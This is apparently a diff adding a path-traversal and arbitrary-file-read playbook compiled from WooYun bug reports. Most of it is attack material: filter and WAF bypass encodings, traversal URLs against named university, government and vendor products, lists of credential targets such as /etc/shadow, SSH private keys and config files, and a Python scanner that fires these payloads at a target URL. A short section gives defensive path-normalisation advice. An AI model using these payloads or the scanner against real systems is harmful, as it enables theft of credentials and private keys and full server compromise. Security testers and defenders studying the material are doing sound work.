346
|
+
InputStream is = new FileInputStream(basePath + fileName);
|
|
347
|
+
|
|
348
|
+
// File download servlet
|
|
349
|
+
String filePath = request.getParameter("filePath");
|
|
350
|
+
File file = new File(filePath); // Absolute path used directly
|
|
351
|
+
```
|
|
352
|
+
|
|
353
|
+
### 5.3 ASP.NET Vulnerable Code Characteristics
|
|
354
|
+
|
|
355
|
+
```csharp
|
|
356
|
+
// Local portal system
|
|
357
|
+
string requestUriString = Tool.CStr(context.Request["url"]);
|
|
358
|
+
WebRequest request = WebRequest.Create(requestUriString);
|
|
359
|
+
// file:// protocol not filtered, leading to arbitrary file read
|
|
360
|
+
```
|
|
361
|
+
|
|
362
|
+
---
|
|
363
|
+
|
|
364
|
+
## 6. Filter Bypass Techniques Summary
|
|
365
|
+
|
|
366
|
+
### 6.1 Bypass Technique Statistics
|
|
367
|
+
|
|
368
|
+
| Technique Type | Case Count | Effectiveness |
|
|
369
|
+
|---------------|-----------|--------------|
|
|
370
|
+
| Direct absolute path access | 16 | High |
|
|
371
|
+
| WEB-INF directory access | 6 | High |
|
|
372
|
+
| Base64 encoding | 3 | Medium |
|
|
373
|
+
| Null byte truncation | 3 | Medium (old versions) |
|
|
374
|
+
| file:// protocol | 2 | High |
|
|
375
|
+
| Single URL encoding | 1 | Medium |
|
|
376
|
+
| UTF-8 overlong encoding | 1 | High (specific servers) |
|
|
377
|
+
|
|
378
|
+
### 6.2 Bypass Scenarios and Methods
|
|
379
|
+
|
|
380
|
+
#### Scenario 1: Filtering ../
|
|
381
|
+
|
|
382
|
+
```bash
|
|
383
|
+
# Method 1: URL encoding
|
|
384
|
+
%2e%2e%2f
|
|
385
|
+
%2e%2e/
|
|
386
|
+
..%2f
|
|
387
|
+
|
|
388
|
+
# Method 2: Double encoding
|
|
389
|
+
%252e%252e%252f
|
|
390
|
+
|
|
391
|
+
# Method 3: Unicode
|
|
392
|
+
%c0%ae%c0%ae/
|
|
393
|
+
|
|
394
|
+
# Method 4: Mixed patterns
|
|
395
|
+
....//
|
|
396
|
+
..../
|
|
397
|
+
..\../
|
|
398
|
+
```
|
|
399
|
+
|
|
400
|
+
#### Scenario 2: File Extension Allowlist
|
|
401
|
+
|
|
402
|
+
```bash
|
|
403
|
+
# Method 1: Null byte truncation (PHP < 5.3.4)
|
|
404
|
+
../../../etc/passwd%00.jpg
|
|
405
|
+
../../../etc/passwd%00.png
|
|
406
|
+
|
|
407
|
+
# Method 2: Question mark truncation
|
|
408
|
+
../../../WEB-INF/web.xml%3f
|
|
409
|
+
|
|
410
|
+
# Method 3: Hash truncation
|
|
411
|
+
../../../etc/passwd#.jpg
|
|
412
|
+
```
|
|
413
|
+
|
|
414
|
+
#### Scenario 3: Path Allowlist
|
|
415
|
+
|
|
416
|
+
```bash
|
|
417
|
+
# Method: Directory traversal after allowed path
|
|
418
|
+
/allowed/path/../../../etc/passwd
|
|
419
|
+
/images/../../../etc/passwd
|
|
420
|
+
```
|
|
421
|
+
|
|
422
|
+
#### Scenario 4: Protocol Restrictions
|
|
423
|
+
|
|
424
|
+
```bash
|
|
425
|
+
# file:// protocol read
|
|
426
|
+
file:///etc/passwd
|
|
427
|
+
file://localhost/etc/passwd
|
|
428
|
+
file:///C:/windows/win.ini
|
|
429
|
+
```
|
|
430
|
+
|
|
431
|
+
---
|
|
432
|
+
|
|
433
|
+
## 7. Generic Vulnerability Case Library
|
|
434
|
+
|
|
435
|
+
### 7.1 University Systems
|
|
436
|
+
|
|
437
|
+
```bash
|
|
438
|
+
# Education platform system (Impact: major universities)
|
|
439
|
+
/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xml
|
|
440
|
+
|
|
441
|
+
# Courseware management software
|
|
442
|
+
/sc8/coursefiledownload?courseId=272&filepath=../../../../../../etc/shadow&filetype=2
|
|
443
|
+
|
|
444
|
+
# Education CMS
|
|
445
|
+
/DownLoad.aspx?Accessory=../web.config
|
|
446
|
+
```
|
|
447
|
+
|
|
448
|
+
### 7.2 Government Systems
|
|
449
|
+
|
|
450
|
+
```bash
|
|
451
|
+
# Multiple government website generic vulnerabilities
|
|
452
|
+
/download.jsp?path=../WEB-INF/web.xml
|
|
453
|
+
/do_download.jsp?path=/do_download.jsp
|
|
454
|
+
/DownFile/OpenFile.aspx?XFileName=../web.config
|
|
455
|
+
/load.jsp?path=../WEB-INF&file=web.xml
|
|
456
|
+
```
|
|
457
|
+
|
|
458
|
+
### 7.3 Enterprise Products
|
|
459
|
+
|
|
460
|
+
```bash
|
|
461
|
+
# Security vendor video gateway
|
|
462
|
+
/serverLog/downFile.php?fileName=../../../etc/passwd
|
|
463
|
+
|
|
464
|
+
# Winmail Server 6.0
|
|
465
|
+
/viewsharenetdisk.php?userid=postmaster&opt=view&filename=[base64]
|
|
466
|
+
|
|
467
|
+
# Security vendor scanner product
|
|
468
|
+
/task/saveTaskIpList.php?fileName=/etc/passwd
|
|
469
|
+
|
|
470
|
+
# CRM system
|
|
471
|
+
/index.php?m=File&a=filedownload&path=../../../etc/passwd
|
|
472
|
+
```
|
|
473
|
+
|
|
474
|
+
---
|
|
475
|
+
|
|
476
|
+
## 8. Vulnerability Discovery Detection Checklist
|
|
477
|
+
|
|
478
|
+
### 8.1 Parameter Fuzzing List
|
|
479
|
+
|
|
480
|
+
```bash
|
|
481
|
+
# Basic tests
|
|
482
|
+
../etc/passwd
|
|
483
|
+
../../etc/passwd
|
|
484
|
+
../../../etc/passwd
|
|
485
|
+
../../../../etc/passwd
|
|
486
|
+
../../../../../etc/passwd
|
|
487
|
+
../../../../../../etc/passwd
|
|
488
|
+
|
|
489
|
+
# Windows tests
|
|
490
|
+
..\windows\win.ini
|
|
491
|
+
..\..\windows\win.ini
|
|
492
|
+
..\..\..\windows\win.ini
|
|
493
|
+
|
|
494
|
+
# Java Web tests
|
|
495
|
+
../WEB-INF/web.xml
|
|
496
|
+
../../WEB-INF/web.xml
|
|
497
|
+
/../WEB-INF/web.xml
|
|
498
|
+
|
|
499
|
+
# Encoding tests
|
|
500
|
+
%2e%2e%2fetc/passwd
|
|
501
|
+
..%2fetc/passwd
|
|
502
|
+
%2e%2e/etc/passwd
|
|
503
|
+
..%252fetc/passwd
|
|
504
|
+
%c0%ae%c0%ae/etc/passwd
|
|
505
|
+
|
|
506
|
+
# Truncation tests
|
|
507
|
+
../../../etc/passwd%00
|
|
508
|
+
../../../etc/passwd%00.jpg
|
|
509
|
+
../../../etc/passwd%23
|
|
510
|
+
../../../etc/passwd%3f
|
|
511
|
+
```
|
|
512
|
+
|
|
513
|
+
### 8.2 Function Point Audit Checklist
|
|
514
|
+
|
|
515
|
+
- [ ] File download function
|
|
516
|
+
- [ ] Attachment preview function
|
|
517
|
+
- [ ] Image loading function
|
|
518
|
+
- [ ] Template rendering function
|
|
519
|
+
- [ ] Log viewing function
|
|
520
|
+
- [ ] Backup download function
|
|
521
|
+
- [ ] File export function
|
|
522
|
+
- [ ] Resource loading function
|
|
523
|
+
- [ ] Report generation function
|
|
524
|
+
- [ ] Static resource serving
|
|
525
|
+
|
|
526
|
+
### 8.3 Vulnerability Verification Files
|
|
527
|
+
|
|
528
|
+
```bash
|
|
529
|
+
# Linux verification
|
|
530
|
+
/etc/passwd # Always present
|
|
531
|
+
/etc/hosts # Always present
|
|
532
|
+
/proc/version # Kernel version
|
|
533
|
+
|
|
534
|
+
# Windows verification
|
|
535
|
+
C:\windows\win.ini
|
|
536
|
+
C:\boot.ini # XP/2003
|
|
537
|
+
C:\windows\system.ini
|
|
538
|
+
|
|
539
|
+
# Java verification
|
|
540
|
+
WEB-INF/web.xml # Always present
|
|
541
|
+
|
|
542
|
+
# Application configuration verification
|
|
543
|
+
web.config # ASP.NET
|
|
544
|
+
config.php # PHP
|
|
545
|
+
```
|
|
546
|
+
|
|
547
|
+
---
|
|
548
|
+
|
|
549
|
+
## 9. Defense Hardening Recommendations
|
|
550
|
+
|
|
551
|
+
### 9.1 Input Validation
|
|
552
|
+
|
|
553
|
+
```python
|
|
554
|
+
# Path normalization + allowlist validation
|
|
555
|
+
import os
|
|
556
|
+
|
|
557
|
+
def safe_file_access(user_input, base_dir):
|
|
558
|
+
# 1. Normalize path
|
|
559
|
+
full_path = os.path.normpath(os.path.join(base_dir, user_input))
|
|
560
|
+
|
|
561
|
+
# 2. Verify within allowed directory
|
|
562
|
+
if not full_path.startswith(os.path.normpath(base_dir)):
|
|
563
|
+
raise SecurityError("Path traversal detected")
|
|
564
|
+
|
|
565
|
+
# 3. Verify file exists and is readable
|
|
566
|
+
if not os.path.isfile(full_path):
|
|
567
|
+
raise FileNotFoundError()
|
|
568
|
+
|
|
569
|
+
return full_path
|
|
570
|
+
```
|
|
571
|
+
|
|
572
|
+
### 9.2 Key Defense Measures
|
|
573
|
+
|
|
574
|
+
1. **Path normalization**: Use `realpath()`/`normpath()` to process input
|
|
575
|
+
2. **Directory restriction**: Verify final path is within the allowed base directory
|
|
576
|
+
3. **Allowlist validation**: Restrict allowed file types and directories
|
|
577
|
+
4. **Privilege minimization**: Run web services as low-privilege users
|
|
578
|
+
5. **Sensitive file protection**: Move configuration files outside web directory
|
|
579
|
+
|
|
580
|
+
---
|
|
581
|
+
|
|
582
|
+
## 10. Reference Case Index
|
|
583
|
+
|
|
584
|
+
| Vulnerability ID | Vendor | Key Technique |
|
|
585
|
+
|-----------------|--------|---------------|
|
|
586
|
+
| wooyun-2015-092186 | A social media platform | curl direct read |
|
|
587
|
+
| wooyun-2016-0189746 | Winmail | Base64 encoding |
|
|
588
|
+
| wooyun-2016-0214222 | An e-commerce platform | Null byte truncation |
|
|
589
|
+
| wooyun-2016-0170101 | A maritime university | UTF-8 overlong encoding |
|
|
590
|
+
| wooyun-2015-0130898 | An education technology vendor | WEB-INF read |
|
|
591
|
+
| wooyun-2015-0116637 | A CMS product | Base64 + file_get_contents |
|
|
592
|
+
| wooyun-2015-0175625 | A security vendor | PHP direct read |
|
|
593
|
+
| wooyun-2014-087735 | A portal system | file:// protocol |
|
|
594
|
+
|
|
595
|
+
---
|
|
596
|
+
|
|
597
|
+
## 11. Meta-Analysis Methodology
|
|
598
|
+
|
|
599
|
+
### 11.1 Root Cause of Vulnerability Existence
|
|
600
|
+
|
|
601
|
+
**Root Cause Analysis**: Path traversal vulnerabilities are fundamentally about ambiguity in "trust boundaries"
|
|
602
|
+
|
|
603
|
+
```
|
|
604
|
+
User input space
|
|
605
|
+
|
|
|
606
|
+
[Trust boundary] <-- Failure point
|
|
607
|
+
|
|
|
608
|
+
File system space
|
|
609
|
+
```
|
|
610
|
+
|
|
611
|
+
**Core Problem Chain**:
|
|
612
|
+
1. **Developer mental model flaw**: "User input = filename" rather than "User input = path instruction"
|
|
613
|
+
2. **Semantic gap in string concatenation**: Developer sees `base + filename`; attacker sees `path_traversal + target`
|
|
614
|
+
3. **Path resolution layer inconsistency**: Discrepancy between application-layer parsing and operating system parsing
|
|
615
|
+
|
|
616
|
+
**Typical code anti-pattern**:
|
|
617
|
+
```php
|
|
618
|
+
# Developer intent: Read user-specified log file
|
|
619
|
+
$file = $_GET['file'];
|
|
620
|
+
$path = '/var/www/logs/' . $file;
|
|
621
|
+
|
|
622
|
+
# Attacker perspective: Path constructor
|
|
623
|
+
# ?file=../../../../../etc/passwd
|
|
624
|
+
# Result: /var/www/logs/../../../../../etc/passwd
|
|
625
|
+
# | after realpath resolution
|
|
626
|
+
# /etc/passwd
|
|
627
|
+
```
|
|
628
|
+
|
|
629
|
+
### 11.2 Multi-Dimensional Vulnerability Discovery Strategy
|
|
630
|
+
|
|
631
|
+
#### Dimension 1: Parameter Semantic Inference (80/20 Rule)
|
|
632
|
+
|
|
633
|
+
**High-value parameter semantic characteristics**:
|
|
634
|
+
```
|
|
635
|
+
Download type: download, down, get, fetch, read, open, view, load
|
|
636
|
+
Attachment type: attachment, attach, file, doc, resource
|
|
637
|
+
Path type: path, dir, folder, uri, url, src
|
|
638
|
+
Configuration type: config, setting, template, include, require
|
|
639
|
+
```
|
|
640
|
+
|
|
641
|
+
**Discovery process**:
|
|
642
|
+
```
|
|
643
|
+
1. Packet capture/crawler -> Extract all parameter names
|
|
644
|
+
2. Semantic matching -> Identify suspicious parameters
|
|
645
|
+
3. Context analysis -> Confirm function type
|
|
646
|
+
4. Construct test payloads -> Validate vulnerability
|
|
647
|
+
```
|
|
648
|
+
|
|
649
|
+
#### Dimension 2: Function Point Targeted Brute-Force (High-Frequency Vulnerability Points)
|
|
650
|
+
|
|
651
|
+
**TOP 10 High-Risk Functions** (based on WooYun data):
|
|
652
|
+
1. **File download endpoint** (27 occurrences) - down.php, download.jsp
|
|
653
|
+
2. **File preview function** (17 occurrences) - view.php, preview.jsp
|
|
654
|
+
3. **Image loader** (5 occurrences) - pic.php, image.jsp
|
|
655
|
+
4. **Log viewer** (4 occurrences) - log.php, viewlog.jsp
|
|
656
|
+
5. **Backup download** (2 occurrences) - backup.php, dump.jsp
|
|
657
|
+
6. **Template rendering** (2 occurrences) - template.php, tpl.jsp
|
|
658
|
+
7. **Attachment management** (6 occurrences) - attachment.php
|
|
659
|
+
8. **Export function** (3 occurrences) - export.php, download_excel.jsp
|
|
660
|
+
9. **Resource loading** (4 occurrences) - resource.php, static.jsp
|
|
661
|
+
10. **Upload preview** (5 occurrences) - upload.php, preview_upload.jsp
|
|
662
|
+
|
|
663
|
+
#### Dimension 3: Technology Stack Fingerprinting
|
|
664
|
+
|
|
665
|
+
**PHP application characteristics**:
|
|
666
|
+
```bash
|
|
667
|
+
# Key files present
|
|
668
|
+
index.php, config.php, common.php
|
|
669
|
+
# Test payloads
|
|
670
|
+
download.php?file=../../../../../etc/passwd
|
|
671
|
+
pic.php?url=config.php # Base64 encoding test
|
|
672
|
+
```
|
|
673
|
+
|
|
674
|
+
**Java Web characteristics**:
|
|
675
|
+
```bash
|
|
676
|
+
# Key directories present
|
|
677
|
+
WEB-INF/, META-INF/, classes/, lib/
|
|
678
|
+
# Test payloads
|
|
679
|
+
download.jsp?path=../WEB-INF/web.xml
|
|
680
|
+
servlet/file?fileName=/../WEB-INF/web.xml
|
|
681
|
+
```
|
|
682
|
+
|
|
683
|
+
**ASP.NET characteristics**:
|
|
684
|
+
```bash
|
|
685
|
+
# Key files present
|
|
686
|
+
web.config, bin/, App_Code/
|
|
687
|
+
# Test payloads
|
|
688
|
+
download.ashx?file=../../../web.config
|
|
689
|
+
DownLoad.aspx?Accessory=../web.config
|
|
690
|
+
```
|
|
691
|
+
|
|
692
|
+
### 11.3 Test Payload Priority Matrix
|
|
693
|
+
|
|
694
|
+
| Threat Level | Response Certainty | Test Cost | Priority |
|
|
695
|
+
|-------------|-------------------|-----------|----------|
|
|
696
|
+
| High | High | Low | **P0** (Test immediately) |
|
|
697
|
+
| High | Medium | Low | **P1** (Priority test) |
|
|
698
|
+
| Medium | High | Low | **P2** (Standard test) |
|
|
699
|
+
| Medium | Medium | Medium | **P3** (Optional test) |
|
|
700
|
+
| Low | Low | High | **P4** (Test last) |
|
|
701
|
+
|
|
702
|
+
**P0 Test Set** (mandatory):
|
|
703
|
+
```bash
|
|
704
|
+
# Linux basic traversal
|
|
705
|
+
../../../../../etc/passwd
|
|
706
|
+
..\..\..\..\..\..\etc/passwd
|
|
707
|
+
|
|
708
|
+
# Windows basic traversal
|
|
709
|
+
..\..\..\..\..\..\windows\win.ini
|
|
710
|
+
|
|
711
|
+
# Java Web basic traversal
|
|
712
|
+
../WEB-INF/web.xml
|
|
713
|
+
../../WEB-INF/web.xml
|
|
714
|
+
```
|
|
715
|
+
|
|
716
|
+
---
|
|
717
|
+
|
|
718
|
+
## 12. Cloud Hosting Case Analysis (wooyun-2015-0124527)
|
|
719
|
+
|
|
720
|
+
### 12.1 Vulnerability Basic Information
|
|
721
|
+
|
|
722
|
+
```json
|
|
723
|
+
{
|
|
724
|
+
"bug_id": "wooyun-2015-0124527",
|
|
725
|
+
"title": "Arbitrary file read vulnerability in a cloud hosting provider's site",
|
|
726
|
+
"vuln_type": "Vulnerability Type: Arbitrary File Traversal/Download",
|
|
727
|
+
"level": "Severity: High",
|
|
728
|
+
"detail": "download.php?file=../../../../../etc/passwd",
|
|
729
|
+
"poc": "file parameter has directory traversal, can read arbitrary system files"
|
|
730
|
+
}
|
|
731
|
+
```
|
|
732
|
+
|
|
733
|
+
### 12.2 Vulnerability Technical Analysis
|
|
734
|
+
|
|
735
|
+
#### Attack Surface Characteristics
|
|
736
|
+
|
|
737
|
+
**1. Parameter Characteristics Analysis**
|
|
738
|
+
```
|
|
739
|
+
Parameter name: file
|
|
740
|
+
Semantics: Generic file parameter
|
|
741
|
+
Risk level: High (7/10)
|
|
742
|
+
```
|
|
743
|
+
|
|
744
|
+
**2. Function Inference**
|
|
745
|
+
```
|
|
746
|
+
Endpoint: download.php
|
|
747
|
+
Function: File download
|
|
748
|
+
Expected logic: Read specified file and output
|
|
749
|
+
Attack surface: Potential path traversal
|
|
750
|
+
```
|
|
751
|
+
|
|
752
|
+
**3. Payload Construction Logic**
|
|
753
|
+
```bash
|
|
754
|
+
# Basic traversal depth probing
|
|
755
|
+
../
|
|
756
|
+
../../
|
|
757
|
+
../../../
|
|
758
|
+
../../../../
|
|
759
|
+
../../../../../
|
|
760
|
+
../../../../../../
|
|
761
|
+
../../../../../../../
|
|
762
|
+
|
|
763
|
+
# Target file location
|
|
764
|
+
/etc/passwd # Linux verification file
|
|
765
|
+
C:\windows\win.ini # Windows verification file
|
|
766
|
+
```
|
|
767
|
+
|
|
768
|
+
#### Vulnerability Code Reconstruction (Estimated)
|
|
769
|
+
|
|
770
|
+
```php
|
|
771
|
+
<?php
|
|
772
|
+
// download.php (estimated vulnerable code)
|
|
773
|
+
$file = $_GET['file']; // Parameter obtained directly, no filtering
|
|
774
|
+
$filepath = '/var/www/uploads/' . $file; // String concatenation
|
|
775
|
+
|
|
776
|
+
header('Content-Description: File Transfer');
|
|
777
|
+
header('Content-Type: application/octet-stream');
|
|
778
|
+
header('Content-Disposition: attachment; filename=' . basename($file));
|
|
779
|
+
readfile($filepath); // File read directly
|
|
780
|
+
|
|
781
|
+
// Attack payload:
|
|
782
|
+
// download.php?file=../../../../../etc/passwd
|
|
783
|
+
// Actual read: /var/www/uploads/../../../../../etc/passwd
|
|
784
|
+
// = /etc/passwd (after path resolution)
|
|
785
|
+
?>
|
|
786
|
+
```
|
|
787
|
+
|
|
788
|
+
### 12.3 Impact Assessment
|
|
789
|
+
|
|
790
|
+
**Root Cause Analysis**: Causal chain from single-point vulnerability to system-wide impact
|
|
791
|
+
|
|
792
|
+
```
|
|
793
|
+
Arbitrary file read
|
|
794
|
+
|
|
|
795
|
+
[System sensitive file leak]
|
|
796
|
+
|
|
|
797
|
+
|-- /etc/passwd -> User enumeration
|
|
798
|
+
|-- /etc/shadow -> Password hash leak
|
|
799
|
+
|-- ~/.ssh/id_rsa -> Private key leak -> Direct SSH login
|
|
800
|
+
|-- ~/.bash_history -> Operation history -> Intranet information
|
|
801
|
+
|-- /var/www/config.php -> Database credentials
|
|
802
|
+
|-- WEB-INF/web.xml -> Application logic
|
|
803
|
+
+-- Log files -> User data, session tokens
|
|
804
|
+
|
|
|
805
|
+
[Complete server compromise]
|
|
806
|
+
```
|
|
807
|
+
|
|
808
|
+
**Actual severity levels**:
|
|
809
|
+
- **Information disclosure**: High (system architecture, credentials, user data)
|
|
810
|
+
- **Privilege escalation**: High (private key leak -> root privileges)
|
|
811
|
+
- **Lateral movement**: High (history records -> intranet topology)
|
|
812
|
+
- **Data breach**: High (database credentials -> sensitive data)
|
|
813
|
+
|
|
814
|
+
### 12.4 Complete Test Payload Collection
|
|
815
|
+
|
|
816
|
+
#### Linux System Target Files
|
|
817
|
+
|
|
818
|
+
```bash
|
|
819
|
+
# Basic system files
|
|
820
|
+
download.php?file=../../../../../etc/passwd
|
|
821
|
+
download.php?file=../../../../../etc/shadow
|
|
822
|
+
download.php?file=../../../../../etc/hosts
|
|
823
|
+
download.php?file=../../../../../etc/group
|
|
824
|
+
download.php?file=../../../../../etc/sudoers
|
|
825
|
+
|
|
826
|
+
# SSH key files
|
|
827
|
+
download.php?file=../../../../../root/.ssh/id_rsa
|
|
828
|
+
download.php?file=../../../../../root/.ssh/authorized_keys
|
|
829
|
+
download.php?file=../../../../../home/*/.ssh/id_rsa
|
|
830
|
+
download.php?file=../../../../../home/*/.ssh/authorized_keys
|
|
831
|
+
|
|
832
|
+
# History commands
|
|
833
|
+
download.php?file=../../../../../root/.bash_history
|
|
834
|
+
download.php?file=../../../../../home/*/.bash_history
|
|
835
|
+
|
|
836
|
+
# Web application configuration
|
|
837
|
+
download.php?file=../../../../../var/www/html/config.php
|
|
838
|
+
download.php?file=../../../../../var/www/html/config.inc.php
|
|
839
|
+
download.php?file=../../../../../var/www/html/db.php
|
|
840
|
+
download.php?file=../../../../../var/www/html/.htaccess
|
|
841
|
+
|
|
842
|
+
# Log files
|
|
843
|
+
download.php?file=../../../../../var/log/apache2/access.log
|
|
844
|
+
download.php?file=../../../../../var/log/apache2/error.log
|
|
845
|
+
download.php?file=../../../../../var/log/nginx/access.log
|
|
846
|
+
download.php?file=../../../../../var/log/nginx/error.log
|
|
847
|
+
|
|
848
|
+
# Process information
|
|
849
|
+
download.php?file=../../../../../proc/self/environ
|
|
850
|
+
download.php?file=../../../../../proc/self/cmdline
|
|
851
|
+
```
|
|
852
|
+
|
|
853
|
+
#### Windows System Target Files
|
|
854
|
+
|
|
855
|
+
```bash
|
|
856
|
+
# System configuration
|
|
857
|
+
download.php?file=..\..\..\..\..\..\windows\win.ini
|
|
858
|
+
download.php?file=..\..\..\..\..\..\boot.ini
|
|
859
|
+
download.php?file=..\..\..\..\..\..\windows\system.ini
|
|
860
|
+
|
|
861
|
+
# IIS configuration
|
|
862
|
+
download.php?file=..\..\..\..\..\..\inetpub\wwwroot\web.config
|
|
863
|
+
download.php?file=..\..\..\..\..\..\windows\system32\inetsrv\config\applicationHost.config
|
|
864
|
+
|
|
865
|
+
# Database files
|
|
866
|
+
download.php?file=..\..\..\..\..\..\program files\mysql\my.ini
|
|
867
|
+
download.php?file=..\..\..\..\..\..\program files\mysql\data\mysql\user.MYD
|
|
868
|
+
```
|
|
869
|
+
|
|
870
|
+
#### Java Web Application Targets
|
|
871
|
+
|
|
872
|
+
```bash
|
|
873
|
+
# Core configuration
|
|
874
|
+
download.php?file=../../WEB-INF/web.xml
|
|
875
|
+
download.php?file=../../WEB-INF/classes/jdbc.properties
|
|
876
|
+
download.php?file=../../WEB-INF/classes/database.properties
|
|
877
|
+
download.php?file=../../WEB-INF/classes/applicationContext.xml
|
|
878
|
+
|
|
879
|
+
# Class files
|
|
880
|
+
download.php?file=../../WEB-INF/classes/
|
|
881
|
+
download.php?file=../../WEB-INF/lib/
|
|
882
|
+
```
|
|
883
|
+
|
|
884
|
+
### 12.5 WAF/Filter Bypass Techniques
|
|
885
|
+
|
|
886
|
+
#### Technique 1: URL Encoding Bypass
|
|
887
|
+
|
|
888
|
+
```bash
|
|
889
|
+
# Single encoding
|
|
890
|
+
download.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
|
|
891
|
+
|
|
892
|
+
# Double encoding
|
|
893
|
+
download.php?file=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
|
|
894
|
+
|
|
895
|
+
# Mixed encoding
|
|
896
|
+
download.php?file=..%2f..%2f..%2fetc/passwd
|
|
897
|
+
download.php?file=%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
|
898
|
+
download.php?file=..%252f..%252fetc/passwd
|
|
899
|
+
```
|
|
900
|
+
|
|
901
|
+
#### Technique 2: Unicode/UTF-8 Encoding
|
|
902
|
+
|
|
903
|
+
```bash
|
|
904
|
+
# Overlong UTF-8 encoding (GlassFish/JBoss, etc.)
|
|
905
|
+
download.php?file=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
|
|
906
|
+
|
|
907
|
+
# Unicode encoding
|
|
908
|
+
download.php?file=\u002e\u002e/\u002e\u002e/\u002e\u002e/etc/passwd
|
|
909
|
+
```
|
|
910
|
+
|
|
911
|
+
#### Technique 3: Path Obfuscation
|
|
912
|
+
|
|
913
|
+
```bash
|
|
914
|
+
# Redundant slashes
|
|
915
|
+
download.php?file=....//....//....//etc/passwd
|
|
916
|
+
download.php?file=..\/..\/..\/etc/passwd
|
|
917
|
+
download.php?file=../\../\../\etc/passwd
|
|
918
|
+
|
|
919
|
+
# Redundant paths
|
|
920
|
+
download.php?file=./../../etc/passwd
|
|
921
|
+
download.php?file=.././../etc/passwd
|
|
922
|
+
download.php?file=../%2e%2e/../etc/passwd
|
|
923
|
+
```
|
|
924
|
+
|
|
925
|
+
#### Technique 4: Null Byte Truncation (PHP < 5.3.4)
|
|
926
|
+
|
|
927
|
+
```bash
|
|
928
|
+
# Bypass file extension check
|
|
929
|
+
download.php?file=../../../../../etc/passwd%00
|
|
930
|
+
download.php?file=../../../../../etc/passwd%00.jpg
|
|
931
|
+
download.php?file=../../../../../etc/passwd%00.png
|
|
932
|
+
```
|
|
933
|
+
|
|
934
|
+
#### Technique 5: Absolute Path Jump
|
|
935
|
+
|
|
936
|
+
```bash
|
|
937
|
+
# If relative paths are filtered
|
|
938
|
+
download.php?file=/etc/passwd
|
|
939
|
+
download.php?file=C:\windows\win.ini
|
|
940
|
+
|
|
941
|
+
# Protocol bypass
|
|
942
|
+
download.php?file=file:///etc/passwd
|
|
943
|
+
download.php?file=file://localhost/etc/passwd
|
|
944
|
+
```
|
|
945
|
+
|
|
946
|
+
### 12.6 Automated Detection Script
|
|
947
|
+
|
|
948
|
+
```python
|
|
949
|
+
#!/usr/bin/env python3
|
|
950
|
+
# Arbitrary file read vulnerability detector
|
|
951
|
+
|
|
952
|
+
import requests
|
|
953
|
+
from urllib.parse import quote
|
|
954
|
+
|
|
955
|
+
class FileTraversalScanner:
|
|
956
|
+
def __init__(self, base_url, parameter='file'):
|
|
957
|
+
self.base_url = base_url
|
|
958
|
+
self.parameter = parameter
|
|
959
|
+
self.results = []
|
|
960
|
+
|
|
961
|
+
# P0 test set
|
|
962
|
+
def test_p0_payloads(self):
|
|
963
|
+
payloads = [
|
|
964
|
+
# Linux basic traversal
|
|
965
|
+
'../../../../../etc/passwd',
|
|
966
|
+
'..\\..\\..\\..\\..\\..\\etc/passwd',
|
|
967
|
+
|
|
968
|
+
# Windows basic traversal
|
|
969
|
+
'..\\..\\..\\..\\..\\..\\windows\\win.ini',
|
|
970
|
+
|
|
971
|
+
# Java Web traversal
|
|
972
|
+
'../WEB-INF/web.xml',
|
|
973
|
+
'../../WEB-INF/web.xml',
|
|
974
|
+
]
|
|
975
|
+
|
|
976
|
+
return self._test_payloads(payloads)
|
|
977
|
+
|
|
978
|
+
# Encoding bypass tests
|
|
979
|
+
def test_encoding_bypass(self):
|
|
980
|
+
payloads = [
|
|
981
|
+
# Single URL encoding
|
|
982
|
+
quote('../../../../../etc/passwd', safe=''),
|
|
983
|
+
'%2e%2e/%2e%2e/%2e%2e/etc/passwd',
|
|
984
|
+
'..%2f..%2f..%2fetc/passwd',
|
|
985
|
+
|
|
986
|
+
# Double encoding
|
|
987
|
+
'%252e%252e%252f%252e%252e%252fetc/passwd',
|
|
988
|
+
|
|
989
|
+
# Unicode encoding
|
|
990
|
+
'%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd',
|
|
991
|
+
|
|
992
|
+
# Null byte truncation
|
|
993
|
+
'../../../../../etc/passwd%00',
|
|
994
|
+
'../../../../../etc/passwd%00.jpg',
|
|
995
|
+
]
|
|
996
|
+
|
|
997
|
+
return self._test_payloads(payloads)
|
|
998
|
+
|
|
999
|
+
# Sensitive file detection
|
|
1000
|
+
def test_sensitive_files(self):
|
|
1001
|
+
files = [
|
|
1002
|
+
'/etc/passwd',
|
|
1003
|
+
'/etc/shadow',
|
|
1004
|
+
'/root/.ssh/id_rsa',
|
|
1005
|
+
'/root/.bash_history',
|
|
1006
|
+
'/var/www/html/config.php',
|
|
1007
|
+
'/WEB-INF/web.xml',
|
|
1008
|
+
'C:\\windows\\win.ini',
|
|
1009
|
+
'C:\\inetpub\\wwwroot\\web.config',
|
|
1010
|
+
]
|
|
1011
|
+
|
|
1012
|
+
payloads = [f'../../../../../..{f}' for f in files]
|
|
1013
|
+
return self._test_payloads(payloads)
|
|
1014
|
+
|
|
1015
|
+
def _test_payloads(self, payloads):
|
|
1016
|
+
results = []
|
|
1017
|
+
for payload in payloads:
|
|
1018
|
+
url = f'{self.base_url}?{self.parameter}={payload}'
|
|
1019
|
+
try:
|
|
1020
|
+
response = requests.get(url, timeout=5)
|
|
1021
|
+
if self._is_vulnerable(response):
|
|
1022
|
+
results.append({
|
|
1023
|
+
'payload': payload,
|
|
1024
|
+
'url': url,
|
|
1025
|
+
'status': response.status_code,
|
|
1026
|
+
'evidence': self._extract_evidence(response)
|
|
1027
|
+
})
|
|
1028
|
+
except Exception as e:
|
|
1029
|
+
continue
|
|
1030
|
+
return results
|
|
1031
|
+
|
|
1032
|
+
def _is_vulnerable(self, response):
|
|
1033
|
+
# Detect Linux passwd file
|
|
1034
|
+
if 'root:' in response.text and '/bin/bash' in response.text:
|
|
1035
|
+
return True
|
|
1036
|
+
# Detect Windows win.ini
|
|
1037
|
+
if '[extensions]' in response.text or '[fonts]' in response.text:
|
|
1038
|
+
return True
|
|
1039
|
+
# Detect Java web.xml
|
|
1040
|
+
if '<web-app' in response.text and 'servlet' in response.text:
|
|
1041
|
+
return True
|
|
1042
|
